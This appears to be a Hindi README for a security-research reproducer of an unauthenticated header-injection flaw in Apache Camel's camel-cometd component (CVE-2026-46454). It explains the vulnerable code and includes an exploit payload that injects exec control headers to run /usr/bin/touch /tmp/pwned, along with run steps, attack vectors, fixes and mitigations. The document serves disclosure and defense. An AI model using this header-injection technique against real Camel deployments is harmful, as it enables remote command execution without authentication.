camel-cometd इनबाउंड Bayeux हैडर इंजेक्शन पुनरुत्पादक (CVE-2026-46454)

यह प्रोजेक्ट Apache Camel के camel-cometd घटक में एक मैसेज-हेडर इंजेक्शन प्रदर्शित करता है, जिसे CVE-2026-46454 के रूप में ट्रैक किया गया है। यह घटक इनबाउंड Bayeux (CometD) संदेश हेडर को Camel Exchange में बिना HeaderFilterStrategy के मैप करता है। CometdBinding.createCamelMessage CometD क्लाइंट द्वारा प्रदान किए गए पूरे ext.CamelHeaders मैप को सीधे Camel संदेश पर कॉपी करता है (message.setHeaders(...)), इसलिए कोई भी हेडर नाम — जिसमें Camel-आंतरिक नियंत्रण हेडर जैसे CamelHttpUri, CamelFileName, CamelJmsDestinationName (या यहाँ, camel-exec नियंत्रण हेडर) शामिल हैं — बिना किसी संशोधन के स्वीकार कर लिया जाता है। क्योंकि CometdComponent डिफ़ॉल्ट रूप से कोई Bayeux SecurityPolicy स्थापित नहीं करता, कोई भी क्लाइंट जो Bayeux हैंडशेक पूरा कर सकता है, बिना प्रमाणीकरण के ऐसा संदेश प्रकाशित कर सकता है और रूट में डाउनस्ट्रीम प्रोड्यूसर को नियंत्रित कर सकता है।

परामर्श: https://camel.apache.org/security/CVE-2026-46454.html

भेद्यता सारांश

CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 और CVE-2026-47323 के समान हेडर-इंजेक्शन परिवार — घटक Camel नामस्थान को फ़िल्टर किए बिना इनबाउंड हेडर को Exchange में मैप कर रहे हैं।

तकनीकी विवरण

// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage);   // reads client-supplied ext.CamelHeaders
if (headers != null) {
    message.setHeaders(headers);                                      // <-- no HeaderFilterStrategy
}

क्लाइंट ext.CamelHeaders को नियंत्रित करता है, इसलिए वह Exchange पर कोई भी Camel नियंत्रण हेडर सेट कर सकता है। फिक्स (4.14.8 / 4.18.3 / 4.21.0) एक HeaderFilterStrategy लागू करता है (कोड में एक लंबे समय से लंबित TODO), जो इनबाउंड मैपिंग पर Camel* / camel* नामस्थान को केस-असंवेदनशील रूप से फ़िल्टर करता है।

पीड़ित रूट

from("cometd://0.0.0.0:8088/service/inject")
    .to("exec:echo?args=hello");     // route author only intends to run: echo hello

एक हमलावर /service/inject पर ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" } के साथ प्रकाशित करता है; बाइंडिंग उन्हें Exchange पर मैप करती है और exec प्रोड्यूसर हमलावर के कमांड को चलाता है।

रिपॉजिटरी लेआउट

स्व-निहित: camel-cometd उपभोक्ता ऐप के अंदर एक एम्बेडेड Bayeux सर्वर (पोर्ट 8088) चलाता है, और /exploit/attack एंडपॉइंट अप्रमाणित CometD क्लाइंट के रूप में कार्य करता है।

CVE-2026-46454/
├── pom.xml                 # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # from("cometd://.../service/inject").to("exec:echo")
    │   └── ExploitController.java  # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
    └── resources/
        └── application.properties

आवश्यक शर्तें

• Java 17+ और Maven 3.8+
• Docker (पुनरुत्पादक चलाता है)

पुनरुत्पादन चरण

चरण 1: कंटेनर बनाएँ और प्रारंभ करें

mvn clean package -DskipTests
docker compose up -d --build

चरण 2: हैडर इंजेक्शन (RCE) ट्रिगर करें

curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
#    The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
#    >>> RCE proof — /tmp/pwned exists: true

चरण 3: सत्यापित करें

docker exec cve-2026-46454 ls -la /tmp/pwned

सफाई

docker compose down

हमले के वेक्टर

कोई भी रूट जिसमें camel-cometd उपभोक्ता है जो डाउनस्ट्रीम प्रोड्यूसर को फीड करता है जिसका व्यवहार Camel हेडर द्वारा नियंत्रित होता है — एक HTTP प्रोड्यूसर (CamelHttpUri), एक फ़ाइल प्रोड्यूसर (CamelFileName), एक JMS प्रोड्यूसर (CamelJmsDestinationName), एक exec प्रोड्यूसर (CamelExecCommand*), आदि। कोई भी क्लाइंट जो Bayeux एंडपॉइंट के खिलाफ हैंडशेक कर सकता है, उन्हें इंजेक्ट कर सकता है; डिफ़ॉल्ट रूप से किसी प्रमाणीकरण की आवश्यकता नहीं है। इंजेक्ट किए गए हेडर आंतरिक direct, seda और vm हॉप्स पर बने रहते हैं।

शोषण की स्थितियाँ

1. एक प्रभावित संस्करण पर camel-cometd उपभोक्ता, एक हेडर-नियंत्रणीय प्रोड्यूसर को रूट किया गया।
2. CometdComponent पर कोई Bayeux SecurityPolicy नहीं (डिफ़ॉल्ट), इसलिए कोई भी क्लाइंट प्रकाशित कर सकता है।

अनुशंसित सुधार

4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507) में अपग्रेड करें, जो cometd बाइंडिंग में एक HeaderFilterStrategy जोड़ता है जो इनबाउंड मैपिंग पर क्लाइंट-आपूर्ति किए गए Camel* / camel* हेडर को ब्लॉक करता है।

शमन

अपग्रेड करने तक:

1. रूट की शुरुआत में Camel नियंत्रण हेडर हटाएं: .removeHeaders("Camel*") और .removeHeaders("camel*").
2. CometdComponent पर एक स्पष्ट Bayeux SecurityPolicy स्थापित करें ताकि केवल प्रमाणित क्लाइंट ही प्रकाशित कर सकें।

अस्वीकरण

यह पुनरुत्पादक सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से खुलासा और ठीक की गई भेद्यता के लिए। स्पष्ट अनुमति के बिना सिस्टम के खिलाफ इसका उपयोग न करें।